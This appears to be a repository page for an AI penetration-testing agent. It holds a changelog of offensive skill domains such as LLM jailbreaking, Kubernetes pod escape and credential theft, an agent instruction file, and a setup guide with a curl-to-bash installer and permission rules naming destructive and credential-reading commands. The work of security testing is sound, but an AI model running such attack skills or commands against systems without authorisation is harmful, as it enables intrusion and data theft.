    v0.1.29 is the first release explicitly driven by trending open-source intelligence. Candidate skills were selected by aggregating GitHub stars across security ecosystems (promptfoo 22k, garak 8k, PyRIT 4k, PurpleLlama 4.2k, T-Pot 9.3k, Cowrie 6.4k, kubescape 11k, CDK 4.7k, kube-hunter 5k, gitleaks 27k, semgrep 15k, infisical 27k, etc.) and cross-referencing against existing 79-skill coverage to identify gaps. Total combined GitHub stars across the 4 new skill ecosystems: 150k+.

    New Skill Domains (+4)

    • llm-red-team — LLM/generative AI red team: prompt injection, jailbreaking, model extraction, RAG poisoning, agent tool abuse
      • Tools: promptfoo, garak, PyRIT, PurpleLlama, AI-Infra-Guard, llm-guard
      • Scaffolding: SKILL.md (583), payloads.md (1,723), test-cases.md (209, 12 TC TC-LR-001..012), guides/llm-red-team-playbook.md (952)
      • Domain: ai-red-team | MITRE: LLM-ATT&CK / OWASP LLM Top 10 | Tool count: 12
    • deception-honeypot — Defensive deception: SSH/web/ICS/AI honeypots, honeytokens, canary deployment
      • Tools: T-Pot, Cowrie, OpenCanary, HFish, Beelzebub, Conpot
      • Scaffolding: SKILL.md (789), payloads.md (1,936), test-cases.md (272, 12 TC TC-DH-001..012), guides/deception-honeypot-playbook.md (1,008)
      • Domain: defense | MITRE: TA0040-Detection (MITRE Engage) | Tool count: 12
      • Completes purple-team triad with threat-hunting (detect) + deception-honeypot (lure)
    • kubernetes-attack — K8s red team: RBAC abuse, pod escape, SA token theft, etcd attacks, EKS/GKE/AKS pivot
      • Tools: kubectl, CDK, peirates, kube-hunter, kubescape, stratus-red-team, kubernetes-goat
      • Scaffolding: SKILL.md (509), payloads.md (1,243), test-cases.md (302, 12 TC TC-KA-001..012), guides/kubernetes-attack-playbook.md (700)
      • Domain: cloud-native | MITRE: TA0008-Lateral Movement (Containers) | Tool count: 14
    • secret-management-attack — Secrets/SAST: gitleaks, semgrep, trufflehog, infisical, Vault/CI-CD/registry exploitation
      • Tools: gitleaks, semgrep, trufflehog, infisical, bearer, DeepAudit, apkleaks, cariddi
      • Scaffolding: SKILL.md (523), payloads.md (1,808), test-cases.md (227, 12 TC TC-SM-001..012), guides/secret-management-attack-playbook.md (784)
      • Domain: appsec | MITRE: T1552-Unsecured Credentials family | Tool count: 14

    Baseline Scoring Run (SCORE.sh v2)

    First-time scores for 8 new skills (v0.1.28 + v0.1.29 cohorts):

    SkillScoreTier
    kubernetes-attack87.5Excellent
    secret-management-attack85.9Excellent
    threat-hunting (v0.1.28)85.2Excellent
    deception-honeypot84.8Excellent
    darkweb-intel (v0.1.28)84.7Excellent
    llm-red-team82.4Excellent
    payment-security (v0.1.28)81.8Excellent
    blockchain-web3 (v0.1.28)80.1Excellent

    Surprise: +2 New Distinguished (Post-Release Skill Maturity)

    SCORE.sh re-evaluated all 83 skills; 2 skills crossed the 92 threshold thanks to v0.1.27 post-release sprint work (deep guides + SKILL.md expansion):

    • sdr-rf-attack 89.5 → 93.6 (+4.1) — Distinguished ⭐
    • container-security 90.4 → 92.8 (+2.4) — Distinguished ⭐

    Index Updates

    • validation/update-skill-standard.py — Registered 4 new skills in ATTACK_SKILLS, DOMAIN_MAP, MITRE_MAP
    • IDENTITY.md — Added 4 new skill tags
    • TOOLS.md — Added 4 new category rows; 79 → 83 domains
    • README.md — 79→83 domains (6 locations); +4 skill rows; +v0.1.29 changelog row; refreshed quality snapshot; bumped Project Info version 0.1.28→0.1.29
    • CHANGELOG.md — v0.1.29 entry
    • VERSION — 0.1.28→0.1.29
    • RELEASE-v0.1.29.md — Chinese release announcement

    Quality Snapshot

    • Distinguished: 17 → 19 (+2: sdr-rf-attack, container-security)
    • Excellent: 57 → 63 (+8 new skills, -2 promoted)
    • Strong: 0 → 1 (username-profiling 77.7 — guide count bottleneck)
    • Total: 79 → 83
    • Average: 88.2 → 87.81 (slight drop due to 8 new baseline scores in 80-87 range; expected to lift next cycle)
    • Min: 84.5 → 77.7 (username-profiling — first new skill at Strong tier, will be lifted)
    • Max: 93.8 (social-intelligence, unchanged)

    Stats

    • New content: ~13,568 lines across 16 new files (4 SKILL.md + 4 payloads.md + 4 test-cases.md + 4 guides)
    • New test cases: 48 (12 × 4 skills)
    • Heartbeat: HEARTBEAT_OK — 433 guides checked, 0 issues
    • 3 first-time domains touched: ai-red-team (first), cloud-native deepening (K8s-specific), appsec deepening (secrets-specific)

    v0.1.28 (2026-06-16) — Domain Expansion: 4 New Skill Domains (75→79)

    New Skill Domains (+4)

    • darkweb-intel — Tor/onion hidden-service enumeration, dark-net marketplace intelligence, leak-site monitoring, actor attribution
      • Scaffolding: SKILL.md (572), payloads.md (1,227), test-cases.md (253, 12 TC), guides/dark-web-investigation-playbook.md (616)
      • Domain: osint | MITRE: TA0043-Reconnaissance | Tool count: 10
    • threat-hunting — First defensive skill: hypothesis-driven hunts, SIEM/EDR telemetry pivoting, ATT&CK detection engineering, purple-team validation
      • Scaffolding: SKILL.md (590), payloads.md (1,175), test-cases.md (253, 12 TC), guides/hunt-hypothesis-playbook.md (805)
      • Domain: defense | MITRE: TA0040-Detection | Tool count: 12
      • Forms purple-team loop with existing attack skills (red↔blue)
    • blockchain-web3 — Smart-contract auditing, DeFi exploit chains, wallet/key management, bridge/oracle attacks
      • Scaffolding: SKILL.md (567), payloads.md (1,203), test-cases.md (271, 13 TC), guides/smart-contract-audit-playbook.md (691)
      • Domain: blockchain | MITRE: N/A (application-layer; loosely TA0001-Initial Access via compromise) | Tool count: 14
    • payment-security — PCI-DSS assessment, card-data flow, 3DS/SAML SSO, fraud detection, webhook signing
      • Scaffolding: SKILL.md (509), payloads.md (966), test-cases.md (270, 13 TC), guides/payment-pentest-playbook.md (752)
      • Domain: financial | MITRE: T1566-Phishing + domain-specific | Tool count: 12

    Index Updates

    • validation/update-skill-standard.py — Registered all 4 new skills in ATTACK_SKILLS, DOMAIN_MAP (darkweb-intel→osint, threat-hunting→defense, blockchain-web3→blockchain, payment-security→financial), MITRE_MAP (darkweb-intel + threat-hunting)
    • IDENTITY.md — Added 4 new skill tags; last-modified refreshed
    • TOOLS.md — Added 5 category rows (4 new skills + sdr-rf-attack + vpn-attack that were missing from previous releases); updated "74 skill domains" → "79"
    • README.md — 75→79 skill domains (6 locations); added 4 skill rows; added v0.1.28 changelog row; bumped Project Info version 0.1.27→0.1.28

    Quality Snapshot

    • Distinguished: 17 (unchanged — 4 new skills pending first SCORE.sh run)
    • Excellent: 57 (unchanged)
    • Strong/Adequate: 0
    • Total: 75 → 79
    • Heartbeat: HEARTBEAT_OK — 429 guides checked, 0 issues

    Stats

    • New content: ~10,720 lines across 16 new files (4 SKILL.md + 4 payloads.md + 4 test-cases.md + 4 guides)
    • First defensive-domain skill (threat-hunting) — closes purple-team loop
    • First financial-domain skill (payment-security)
    • First blockchain-domain skill (blockchain-web3)

    v0.1.27 (2026-06-11, post-release update 2026-06-16) — 17 Distinguished Milestone, Distinguished Sprint + Bottom Lift

    Post-release Update (2026-06-16) — RELEASE Backfill + username-profiling + Core File Sync

    Folded into v0.1.27 (no version bump): backfilled the missing release announcement, added a new skill domain, and synchronized stale core files.

    • New skill domain: username-profiling (+1, 74→75) — Maigret-powered single-username dossier generation

      • Full skill scaffolding: SKILL.md (505 lines), payloads.md (591 lines), test-cases.md (11 test cases), guides/maigret-username-dossier.md (504 lines)
      • Coverage: Maigret (3,000+ sites) + companion tools (Sherlock, WhatsMyName, Holehe, Blackbird, Namechk)
      • 5-phase methodology: Seed → Broad Enumeration → Recursive Pivot → Cross-Tool Verification → Dossier Synthesis
      • OPSEC focus: Tor/I2P/proxy routing, false-positive verification protocol
      • Domain: osint | MITRE: TA0043-Reconnaissance

    • Sprint tail (pre-existing in-progress work, brought into this update):

      • sdr-rf-attack 88.8 → 89.5 — SKILL.md +123 lines; 3 new guides (rf-fingerprinting-device-identification, satellite-signal-analysis, sub-ghz-iot-attack); file_count 6→9
      • container-security — 3 new guides (container-network-segmentation, container-supply-chain-attack, docker-breakout-escape); file_count 5→8
      • deep-research — payloads.md +1,373 lines
      • scada-ics-security — SKILL.md minor update (+4 lines)

    • Core file sync:

      • RELEASE-v0.1.27.md — backfilled (every release v0.1.1 to v0.1.27 now has a RELEASE file)
      • README.md — 74→75 skill domains (multiple locations); Project Info version 0.1.21→0.1.27 (was stale by 6 versions); Skill Domains 72→75; added username-profiling row; refreshed quality snapshot
      • IDENTITY.md — added username-profiling skill tag; updated last-modified date
      • TOOLS.md — added username-profiling category index row
      • validation/update-skill-standard.py — registered username-profiling in ATTACK_SKILLS, DOMAIN_MAP (osint), MITRE_MAP (TA0043-Reconnaissance)

    • Stats after post-release update: Skill domains 74→75, Distinguished 17 (unchanged — username-profiling not yet scored), Excellent 57, Average 88.2, Min 84.5

    Original v0.1.27 Release (2026-06-11)

    Distinguished Sprint: 2 New Distinguished Skills

    • scada-ics-security reached 93.0 — created 2 new guides (ics-incident-response, purdue-model-attack-paths); file_count 5→7
    • council reached 92.3 — expanded 3 guides (avg 1289→2000+); created 2 new guides (multi-agent-escalation, council-consensus-building); file_count 5→7

    Bottom Lift: 3 Skills Improved

    • database-attack 83.4 → 87.3 — expanded SKILL.md (20 headings); created 2 new guides (nosql-attack, database-lateral-movement); added 5 payload sections (14→19); file_count 3→5
    • exploit-development 84.9 → 86.1 — created 2 new guides (heap-exploitation, kernel-exploit); file_count 3→5
    • dns-attacks 83.4 → 84.6 — created 2 new guides (dns-rebinding, dns-tunnel-exfiltration); file_count 3→5

    Stats

    • Distinguished: 15 → 17 (+2)
    • Excellent: 59 → 57
    • Total: 74
    • Average: 88.0 → 88.2
    • Min: 83.4 → 84.5

    v0.1.26 (2026-06-11) — 15 Distinguished Milestone, Distinguished Sprint + Bottom Lift

    Distinguished Sprint: 3+2 New Distinguished Skills

    • network-tunneling-proxy reached 92.3 — created 3 new guides (pivoting-double-pivot, ipv6-tunneling, tunnel-detection-evasion); file_count 5→8
    • payload-generation reached 93.1 — created 3 new guides (cross-platform, web-shell, encoding-encryption); file_count 5→8
    • vpn-attack reached 92.5 — created 3 new guides (wireguard, openvpn, credential-brute-force); expanded payloads +2 sections; file_count 5→8

    Bottom Lift: 3 Skills Improved

    • web-deserialization 85.3 → 92.2 — expanded SKILL.md (+6 sections); created 2 new guides (nodejs, dotnet); added 9 payload sections (10→18)
    • scada-ics-security 84.6 → 91.6 — expanded SKILL.md (+5 sections); expanded 3 guides; created 2 new guides; added 5 payload sections
    • sdr-rf-attack 86.1 → 88.8 — expanded 3 guides; created 2 new guides (gps-spoofing, zigbee-ble-sdr)

    Stats

    • Distinguished: 11 → 15 (+4)
    • Excellent: 63 → 59
    • Total: 74
    • Average: 87.7 → 88.0
    • Min: 83.4

    v0.1.25 (2026-06-10) — 11 Distinguished Milestone, Distinguished Sprint + Bottom Lift

    Distinguished Sprint: 3 New Distinguished Skills

    • security-misconfiguration reached 92.8 — expanded SKILL.md (13→15 sections); expanded all 8 guides (avg 880→2014 words)
    • security-bounty-hunter reached 92.0 — expanded SKILL.md (14→18 sections); expanded 5 guides (avg 1463→1894); added 2 test cases
    • web-xss reached 92.0 — expanded SKILL.md (8→25 headings); expanded 4 guides (avg 1480→2177); created CSP bypass guide (8 guides total)

    Bottom Lift: 3 Lowest Skills Improved

    • vpn-attack 83.3 → 89.4 (+6.1) — expanded SKILL.md (7→12 sections); expanded 3 guides; created 2 new guides; added 3 payload sections
    • network-tunneling-proxy 84.3 → 90.3 (+6.0) — expanded SKILL.md (8→14 sections); expanded 3 guides; created 2 new guides
    • payload-generation 84.4 → 91.1 (+6.7) — expanded SKILL.md (11→14 sections); expanded 3 guides; created 2 new guides; added 6 payload sections

    Stats

    • Distinguished: 8 → 11 (+3)
    • Excellent: 66 → 63
    • Total: 74
    • Average: 87.3 → 87.7
    • Min: 83.4

    v0.1.24 (2026-06-10) — 8 Distinguished Milestone, Distinguished Sprint + Bottom Lift

    Distinguished Sprint: 3 New Distinguished Skills

    • osint reached 92.5 — expanded 4 guides (info-gathering-cli-reference, automated-osint-pipeline, enterprise-pentest-case-study, corporate-recon); added Introduction/Hands-on/References to 8 guides
    • **social-intelligenc
  • kali-claw-pentest-agent/CLAUDE.mdmarkdown · 8.5 KB

    CLAUDE.md

    This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

    Project Overview

    kali-claw is an AI-powered penetration testing agent built on the OpenClaw framework. It continuously learns and operates across 139 security domains, mastering all 518 Kali Linux security tools. The runtime environment is Kali Linux 2025-2 (ARM64).

    This repo is the agent's workspace — a structured knowledge base and configuration system with automation scripts for validation, orchestration, and reporting.

    Current Version: v0.3.5 (repo-wide skill validation & completeness ranking; report at docs/SKILL_VALIDATION_RANKING_2026-09-09.md). See RELEASE-v0.3.5.md for the latest milestone.

    Architecture

    Core Configuration Files (root level)

    FilePurpose
    SOUL.mdAgent identity, 12 Hacker Laws, behavioral guidelines — the "personality"
    AGENTS.mdWorkspace config and session startup sequence
    IDENTITY.mdSkill tags, personality traits, and skill matrix
    USER.mdCaptain (user) profile and interaction preferences
    MEMORY.mdLong-term distilled knowledge and key decisions
    TOOLS.mdTool inventory and learning progress tracking (518 tools)
    HEARTBEAT.mdAutomated health checks and maintenance schedule
    TEMPLATE.mdTemplate for creating new OpenClaw agent workspaces

    Phase 1 Project Artifacts (root level)

    FilePurpose
    RELEASE-v0.2.0.{1-8}.md + RELEASE-v0.2.{1,2,3}.mdPhase 1 + Phase 2 Track 1 release notes
    PHASE1_{LAUNCH,EXECUTION,QUICK_START}.mdPhase 1 planning documents
    PHASE2_PROGRESS.mdPhase 2 standardization batch tracker (10 batches × 10 SKILLs)
    HIGH_PRIORITY_WORKPLAN.md15 P0/P1 SKILL detailed improvement plan
    SKILL_REMEDIATION_LIST.jsonFull 137-SKILL audit data (issues, est_hours, completion_pct)
    TASK1_2_WORKFLOW.mdPhase 1 SOP, Definition of Done, commit conventions
    KALI_TOOLS_BASELINE_2026_07.md127-tool version reference
    TASK1_3_FRAMEWORK.md7 new SKILL candidates (AI RedTeam/IdP/DLP/Edge/Quantum/SCA/5G)

    Memory System

    • memory/YYYY-MM-DD.md — Daily session logs
    • MEMORY.md — Distilled long-term knowledge (root level)
    • chronicle/YYYY-MM/*.md — Monthly milestone tracking
    • bak/ — Backup directory

    Automation Scripts (validation/)

    ScriptPurpose
    heartbeat.shWorkspace health checks (--fix, --json)
    auto-backup.shBackup rotation (--restore, --keep N)
    drift-detect.shConfiguration drift detection (--create-baseline, --update-baseline)
    scenario-runner.shCross-skill scenario execution (--resume, --dry-run)
    orchestrator.shEnd-to-end penetration test workflow (--target, --phase, --resume)
    tool-selector.shTarget-to-tool mapping (--target-type, --phase, --stealth)
    report-generator.shAutomated report generation (--source, --format)
    update-skill-standard.pyAlign SKILL.md files with Agent Skills Open Standard (--dry-run, --skill <name>)

    Engagement Templates (validation/engagement-template/)

    • targets.json.example — Target configuration template
    • scope-rules.json.example — Scope rules and safety configuration
    • report-template.md — Standard penetration test report template

    Skills Directory (skills/)

    137 security skill domains, each following a consistent structure aligned with the Agent Skills Open Standard (Anthropic, 2025):

    • SKILL.md — Skill definition with YAML frontmatter (name, description, version, compatibility, allowed-tools, metadata including last_reviewed), summary, use cases, tools, methodology, and Defense Triple
    • payloads.md — Attack payloads and commands by type
    • test-cases.md — Structured test case templates
    • guides/ — Deep-dive learning materials

    Each SKILL.md uses progressive disclosure:

    • Stage 1 (Advertise): YAML frontmatter + ## Summary — loaded during skill scanning
    • Stage 2 (Quick Reference): ## Core Tools + ## Methodology — loaded on skill activation
    • Stage 3 (Detailed): ## Practical Steps + Defense Triple — loaded on task execution

    Defense Triple (v0.2.0.2+ standard)

    All newly standardized SKILLs include three defense sections:

    1. ### Defense Perspective — Multi-layer defense matrix (table format, ≥5 layers)
    2. ## Detection Methods — SIEM-ready detection rules:
      • Splunk SPL queries
      • Sigma rule file paths
      • Sysmon Event IDs
      • Falco / Tetragon runtime rules
      • Cloud-native (GuardDuty / Defender for Cloud)
    3. ## Defense Evasion Techniques — Modern attacker evasion patterns (5+ categories)

    As of v0.2.0.4, 35/137 SKILLs (27%) meet this standard. See SKILL_REMEDIATION_LIST.json for per-SKILL status.

    Domain Coverage

    API Security, Binary Analysis, Cloud Security, Container Security, Crypto Attacks, Digital Forensics, Mobile Security, Network Pentest, OSINT, Password Attack, Post-Exploitation, Social Engineering, Supply Chain Security, Web (XSS/SQLi/SSRF/Auth/Access Control/XXE/File Inclusion/Deserialization), WiFi Pentest, Exploit Development, Payload Generation, AV/EDR Evasion, DNS Attacks, CMS Framework Attack, Steganography, Privilege Escalation, Network Sniffing & MITM, Bluetooth/RFID/NFC, Network Tunneling & Proxy, Firmware Reverse, SCADA/ICS Security, Database Attack, VoIP/SIP Attack, Anti-Forensics, Pentest Reporting, AD/LDAP Attack, AD CS Abuse, Email Protocol Attack, Engagement Manager, Tool Mastery, AI Agent Security, LLM Red Team, Agentic Pentest, 5G Telecom Attack, Automotive Vehicle Security, Blockchain L2 Attack, Cloud-Native Vuln Research, CI/CD Supply Chain Attack, PAM Privilege Attack, CSPM/CASB Attack, SASE/SSE Attack, and others.

    Key Conventions

    • All content is in English (this is the -en variant of the workspace)
    • Skills follow the SKILL.md + payloads.md + test-cases.md + guides/ pattern — maintain this structure when adding new skills
    • The agent operates under 12 Hacker Laws defined in SOUL.md — any behavioral changes must align with these principles
    • Memory hierarchy: daily logs → chronicle → MEMORY.md (progressive distillation)
    • TEMPLATE.md is the authoritative template for creating new OpenClaw agent workspaces

    Editing Guidelines

    • Adding a new skill domain: Create directory under skills/ with SKILL.md (must include YAML frontmatter per Agent Skills standard, including version: "0.2.0.2" and last_reviewed: "YYYY-MM-DD"), payloads.md, test-cases.md, and optionally guides/. Run python3 validation/update-skill-standard.py --skill <name> to add standard-compliant frontmatter. Update TOOLS.md and IDENTITY.md to reference the new domain.
    • Standardizing an existing SKILL (Phase 2 SOP): Add the Defense Triple (Defense Perspective table + Detection Methods + Defense Evasion Techniques) per TASK1_2_WORKFLOW.md. Bump version to 0.2.0.2 and set last_reviewed. Verify translation residue is 0 (run python3 -c "import re; c=open('skills/<name>/SKILL.md').read(); print(len(re.findall(r'[a-z][一-鿿]|[一-鿿][a-z]', c)))").
    • Updating agent behavior: Modify SOUL.md for principles, AGENTS.md for session flow, IDENTITY.md for skill tags.
    • Recording knowledge: Write to memory/ for daily logs. Important distilled knowledge goes to MEMORY.md (root) or chronicle/.
    • Health checks: HEARTBEAT.md defines automated maintenance — modify when adding new subsystems that need monitoring.
    • Version baselines: All SKILL version: fields follow the kali-claw release version (Phase 1 = 0.2.0.2). Do not use legacy 0.1.x per-SKILL numbering.

    Phase 1 Workflow

    When working on Phase 1 tasks (SKILL library enhancement):

    1. Before starting: Read SKILL_REMEDIATION_LIST.json to identify which SKILLs need work and their specific issues.
    2. Branch strategy: Work on phase2/standardization (or phase1/skill-audit for high-priority work). Use lightweight cherry-pick strategy if push fails (see TASK1_2_WORKFLOW.md).
    3. Commit conventions: refactor(<skill>): <change> for SKILL improvements; feat(<skill>): for new SKILLs; docs: for documentation.
    4. Network considerations: SOCKS5 proxy at 127.0.0.1:1086 is configured globally. Push large changes via lightweight branch if packfile exceeds 100MB (see RELEASE-v0.2.1.md Appendix for case study).
    5. Definition of Done: Verify against TASK1_2_WORKFLOW.md DoD checklist before committing.
  • kali-claw-pentest-agent/GUIDE-CLAUDECODE-en.mdmarkdown · 70.9 KB

    kali-claw Skill Pack Migration Guide: Using with Claude Code

    ⚠️ Update Notice (2026-08-08): This guide reflects kali-claw v0.2.4 (Phase 2 Track 1 Minor Release). Key changes since v0.2.1:

    • 139 skill domains (added in v0.2.4: eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack)
    • All 139 SKILLs at v0.2.0.2 with complete Defense Triple (Defense Perspective + Detection Methods + Defense Evasion Techniques) — 100% coverage
    • skill-lint: 0 errors / 0 warnings, 139/139 clean pass (since v0.2.3)
    • MAJOR tool upgrades applied in v0.2.4 (frida 17 / hashcat 7 / docker 29 compatibility)
    • See RELEASE-v0.2.4.md for full milestone details
    • 7 new strategic SKILLs added: ai-safety-redteam-advanced, identity-provider-attack, data-loss-prevention-bypass, edge-computing-security, quantum-cryptography-transition, hardware-side-channel-advanced, 5g-6g-telecom-attack-advanced
    • 6 documentation files generated: SKILL_HANDBOOK, QUICK_REFERENCE, SKILL_INDEX.json, DOMAIN_MATRIX, TOOLS_LIFECYCLE, SKILL_MAINTENANCE
    • 5 automation scripts: skill-lint.py, validate-payloads.py, validate-testcases.py, GitHub Actions CI/CD, update-skill-standard.py
    • See RELEASE-v0.2.1.md for full milestone details

    The agent-tool-specific commands and configuration steps in this guide remain accurate. Only kali-claw side metadata has been updated.

    For v0.1.39 | A complete guide to running kali-claw security skill packs (139 skill domains, 518 tools) on Anthropic's official CLI tool, Claude Code

    1. Overview

    1.1 What is Claude Code?

    Claude Code is Anthropic's official command-line tool that lets you interact with Claude directly in the terminal. It is not a chatbot wrapper — it is Claude's native runtime. Claude Code itself is the execution environment.

    Core capabilities:

    • CLI interface — Use Claude directly in the terminal with multi-turn conversations and context management
    • CLAUDE.md project instructions — A Markdown file in the project root that defines how Claude behaves within that project (similar to a system prompt)
    • Custom Agents (Subagents) — Specialized prompt files placed in ~/.claude/agents/, invocable via the Task tool
    • Rules — Behavioral guidelines placed in ~/.claude/rules/ that apply globally or to specific projects
    • Skills (added in 2025) — Directory-based skill packs placed in ~/.claude/skills/ that comply with the Agent Skills Open Standard
    • MCP Servers — Integrate external tools via the Model Context Protocol, letting Claude directly invoke nmap, sqlmap, and other commands
    • Memory System — Persistent session memory stored in ~/.claude/projects/<project-hash>/
    • Hooks — Shell commands that execute automatically before/after tool calls (PreToolUse / PostToolUse / Stop / SessionStart)
    • Output Styles — Explanatory / Learning / Fast (streaming acceleration)
    • IDE Integration — Auto-detected and embedded in VS Code / JetBrains
    • Plan Mode — Toggled with Shift+Tab for structured read-only exploration and planning
    • Background Tasks / Parallel Agents — run_in_background and multiple Task calls in a single message

    Key differences from OpenClaw:

    FeatureOpenClawClaude Code
    RuntimeStandalone npm frameworkClaude's native CLI — no extra framework needed
    Skill systemMarkdown files parsed by the frameworkMarkdown files + Skills directory + custom agents
    Tool invocationThrough terminal commandsThrough Bash tool + MCP servers
    Memory persistenceFile system (memory/ directory)File system (~/.claude/projects/)
    Install dependencyRequires Node.js + OpenClawOnly Claude Code itself (native installer needs no Node.js)
    Context windowLimited by frameworkClaude's native context (200K+ tokens)

    1.2 The Value of kali-claw Skill Packs (v0.1.39)

    kali-claw contains 139 security skill domains and a 518 Kali Linux tool knowledge base, forming a structured, quantitatively scored body of security testing knowledge:

    • Each skill domain includes: SKILL.md (methodology + YAML frontmatter) + payloads.md (attack payloads) + test-cases.md (test cases) + guides/ (deep-dive guides)
    • Root-level configuration: SOUL.md (12 Hacker Laws), IDENTITY.md (111-line skill tags), TOOLS.md (518 tool inventory)
    • Quality tiers: 33 Distinguished (92+) / 78 Excellent (80-91.9) / 0 Strong / 0 Weak — 137/137 = 100% Excellent+
    • Agent Skills Open Standard compliance — All SKILL.md files use the YAML frontmatter standard published by Anthropic in 2025
    • Companion validation / orchestration scripts — 10+ Bash scripts under validation/ (SCORE.sh, orchestrator.sh, scenario-runner.sh, heartbeat.sh, etc.)

    Key advantage: kali-claw skills are essentially Markdown files that can be read and used directly by Claude Code, with no format conversion required. Claude Code's built-in Skill tool natively supports the Agent Skills standard.

    1.3 Migration Strategy Overview

    Migration does not mean "converting formats" — it means correctly placing and referencing existing files. Three migration depths are available:

    Migration LevelTimeCapabilities GainedBest For
    Minimal5 minutesDirectly reference skill files in Claude CodeQuick experimentation
    Standard30 minutesCustom agents + rules + memory system + Skills directoryDaily use
    Complete2-3 hoursMCP tool integration + Hooks automation + orchestration scripts + full agent matrixProfessional pentesters / red teamers

    Critical constraint: This guide does NOT suggest modifying, converting, or altering any files in the kali-claw skills/ directory. kali-claw skills stay exactly as they are. Migration means configuring Claude Code to READ existing kali-claw files, not changing them.

    2. Environment Setup

    2.1 Install Claude Code (Critical Step)

    Claude Code supports three installation methods, ranked by recommendation:

    Method A: Native Installer (Recommended — No Node.js Required)

    Anthropic's officially recommended native binary installer — faster startup and lower memory footprint than the npm package, with no Node.js dependency.

    # macOS / Linux
curl -fsSL https://claude.ai/install.sh | bash

# Verify
claude --version

# First launch (interactive login flow)
claude

    # Windows (PowerShell)
irm https://claude.ai/install.ps1 | iex

# Verify
claude --version

    Native installer advantages:

    • No Node.js dependency (friendly to Kali minimal, Alpine, and containerized environments)
    • Startup time < 1 second (npm version: ~2-3 seconds)
    • Self-contained update mechanism: claude update
    • Binary size ~50MB, smaller than the npm global package

    Method B: npm Global Install (Classic — Requires Node.js >= 18)

    # Install
npm install -g @anthropic-ai/claude-code

# Verify
claude --version

    Use cases: you already have Node.js, want consistency with other npm tools, or want unified upgrades via npm update -g.

    Method C: IDE Auto-Install (VS Code / JetBrains)

    Open VS Code or any JetBrains IDE, install the "Claude Code" extension, and the extension will auto-guide CLI installation. After installation, the embedded terminal in the IDE can launch claude directly and interoperate with the editor (file highlighting, jump-to-definition, diff view).

    2.1.1 Authentication (Required on First Launch)

    The first claude launch enters an interactive login flow with three options:

    MethodApplicable ToBilling
    Claude Pro/Max/Team/Enterprise subscriptionUsers with claude.ai subscriptionsIncluded in subscription (usage limits apply)
    Anthropic Console API KeyDevelopers / enterprisesPay-as-you-go per token
    Amazon Bedrock / Vertex AIEnterprise cloud customersBilled via cloud provider

    Login with subscription: In the terminal, select "Login with Claude.ai" — a browser opens the OAuth page. After authorization, return to the terminal; the token is stored automatically in ~/.claude/credentials.json.

    Login with API Key:

    # Option 1: Interactive input (recommended — token goes to keychain)
claude
# Select "Use API key", paste sk-ant-...

# Option 2: Environment variable (for CI / containers)
export ANTHROPIC_API_KEY="sk-ant-api03-..."
claude

    2.1.2 Configure settings.json (User-Level + Project-Level)

    Claude Code configuration is layered (highest priority first):

    Enterprise policy  >  Project (.claude/settings.json)  >  User (~/.claude/settings.json)

    User-level config ~/.claude/settings.json (create on first use):

    {
  "model": "claude-opus-4-7",
  "env": {
    "ANTHROPIC_API_KEY": "sk-ant-api03-REPLACE_WITH_YOUR_KEY"
  },
  "permissions": {
    "allow": [
      "Bash(nmap:*)",
      "Bash(sqlmap:*)",
      "Bash(dig:*)",
      "Bash(curl:*)",
      "Read(**)",
      "Grep(**)",
      "Glob(**)"
    ],
    "deny": [
      "Bash(rm -rf /*)",
      "Bash(sudo:*)",
      "Read(./.env)",
      "Read(./credentials*)"
    ]
  },
  "outputStyle": "default",
  "alwaysThinkingEnabled": true
}

    Project-level config <project>/.claude/settings.json (inside the kali-claw repo):

    {
  "permissions": {
    "allow": [
      "Bash(bash validation/*)",
      "Bash(python3 validation/*)",
      "Read(skills/**)",
      "Read(memory/**)"
    ]
  }
}

    Project-level allow rules stack on top of user-level rules.

    2.1.3 Common CLI Parameters and Slash Commands

    Launch parameters:

    claude                          # Interactive (most common)
claude --resume                 # Resume previous session (keeps context)
claude --continue               # Continue previous session (shorthand: -c)
claude -p "Scan 192.168.1.1"    # One-shot print mode, exits after output
claude --model claude-sonnet-4-6 # Temporarily switch model
claude --output-format json     # Output JSON (for script integration)
claude --max-turns 20           # Max 20 turns per session (for CI)

    In-session slash commands (15 most common):

    CommandPurpose
    /helpShow all commands
    /statusCurrent model, token usage, login status
    /modelSwitch model (Opus / Sonnet / Haiku)
    /clearClear current session context
    /compactIntelligently compress history (keeps essentials)
    /resumeList recent sessions, pick one to resume
    /configEdit settings.json
    /agentsList / edit custom subagents
    /rulesList / edit rule files
    /hooksList / edit hooks
    /mcpList connected MCP servers
    /permissionsView / modify permission rules
    /fastToggle Fast mode (faster Opus output)
    /initGenerate a CLAUDE.md skeleton in the current project
    /ideManually trigger IDE integration

    Common keyboard shortcuts:

    ShortcutPurpose
    Shift+TabToggle Plan Mode (read-only exploration + planning)
    Ctrl+OVerbose mode (shows thinking process)
    Option+T / Alt+TToggle Extended Thinking
    EscInterrupt current task
    @Type a file path and Claude auto-reads it
    !Prefix to execute a shell command directly (output returns to the conversation)

    2.1.4 Common Install / Startup Issues

    IssueSolution
    Permission denied (EACCES, npm install)sudo npm install -g @anthropic-ai/claude-code or switch to the native installer
    npm registry timeout (users in mainland China)npm config set registry https://registry.npmmirror.com
    Node.js version too low (npm install)nvm install --lts
    Native installer fails inside containersAdd --user $(id -u):$(id -g) in the container, or switch to npm
    OAuth login hangsSwitch to API Key (export ANTHROPIC_API_KEY=...)
    claude --version reports command not foundVerify PATH includes ~/.local/bin (native) or npm global bin (npm)
    IDE extension cannot find the CLIRun claude --version once in the IDE terminal so the extension detects it
    Anthropic endpoint unreachable from your networkConfigure HTTP(S)_PROXY environment variables; or use Bedrock / Vertex AI

    2.2 Prepare a Kali Linux Environment

    Choose one of the three options below:

    Option A: Kali Linux Local Machine (Recommended)

    # Run Claude Code directly on Kali
nmap --version  # Verify tools are available
sqlmap --version
hydra -h | head -1

    Option B: Remote Kali (SSH Access)

    # Generate SSH key pair
ssh-keygen -t ed25519 -C "kali-claw"

# Copy public key to remote Kali
ssh-copy-id user@kali-host

# Verify connection
ssh user@kali-host "nmap --version && sqlmap --version"

    Option C: Docker Container

    # Pull and start Kali container
docker pull kalilinux/kali-rolling
docker run -it --name kali-env kalilinux/kali-rolling /bin/bash

# Install security tools inside the container
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# Re-enter after exiting
docker start -ai kali-env

    2.3 Clone the kali-claw Workspace

    git clone https://github.com/brucesongs/kali-claw.git
cd kali-claw

    Verify the file structure (v0.1.39 should contain 139 skill domains):

    ls -la
